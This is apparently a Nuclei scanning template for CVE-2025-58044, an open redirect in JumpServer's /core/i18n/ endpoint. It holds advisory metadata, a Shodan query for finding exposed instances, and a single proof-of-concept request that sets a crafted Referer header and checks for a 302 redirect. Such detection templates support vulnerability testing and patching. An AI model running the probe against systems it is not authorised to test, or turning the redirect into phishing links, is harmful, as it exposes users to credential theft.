JumpServer is an open source bastion host and an operation and maintenance security audit system. Prior to v3.10.19 and v4.10.5, The /core/i18n// endpoint uses the Referer header as the redirection target without proper validation, which could lead to an Open Redirect vulnerability.
PoC
id: CVE-2025-58044
info:
name: JumpServer - Open Redirect via Referer Header
author: DhiyaneshDk
severity: medium
description: |
JumpServer is an open source bastion host and an operation and maintenance security audit system. Prior to v3.10.19 and v4.10.5, The /core/i18n// endpoint uses the Referer header as the redirection target without proper validation, which could lead to an Open Redirect vulnerability.
impact: |
An attacker can craft a malicious link that, when clicked by a victim, redirects them toan attacker-controlled website. This can be used to steal credentials through phishing or to distribute malware.
remediation: |
Upgrade JumpServer to version 3.10.19 or later (for v3.x) or version 4.10.5 or later (for v4.x).
reference:
- https://github.com/jumpserver/jumpserver/security/advisories/GHSA-h762-mj7p-jwjq
- https://github.com/jumpserver/jumpserver/commit/36ae076cb021f16d2053a63651bc16d15a3ed53b
- https://nvd.nist.gov/vuln/detail/CVE-2025-58044
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2025-58044
epss-score: 0.00488
epss-percentile: 0.40827
cwe-id: CWE-601
metadata:
verified: true
max-request: 1
vendor: fit2cloud
product: jumpserver
shodan-query: html:"JumpServer 开源堡垒机"
tags: cve,cve2025,jumpserver,redirect,open-redirect,fit2cloud
http:
- method: GET
path:
- "{{BaseURL}}/core/i18n/ko/"
headers:
Referer: "https://oast.pro"
matchers-condition: and
matchers:
- type: regex
part: header
regex:
- '(?i)location:\s*https?://oast\.pro'
- type: status
status:
- 302
# digest: 480a00453043021f5bd90713978b5b66332679463ae6fc0e9dbb04bb1b4838f4d9624f7f88ce220220096e141bf547b098b0fe63d126d53225705ccb6dee9f0a53e1f692baaf0d9173:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.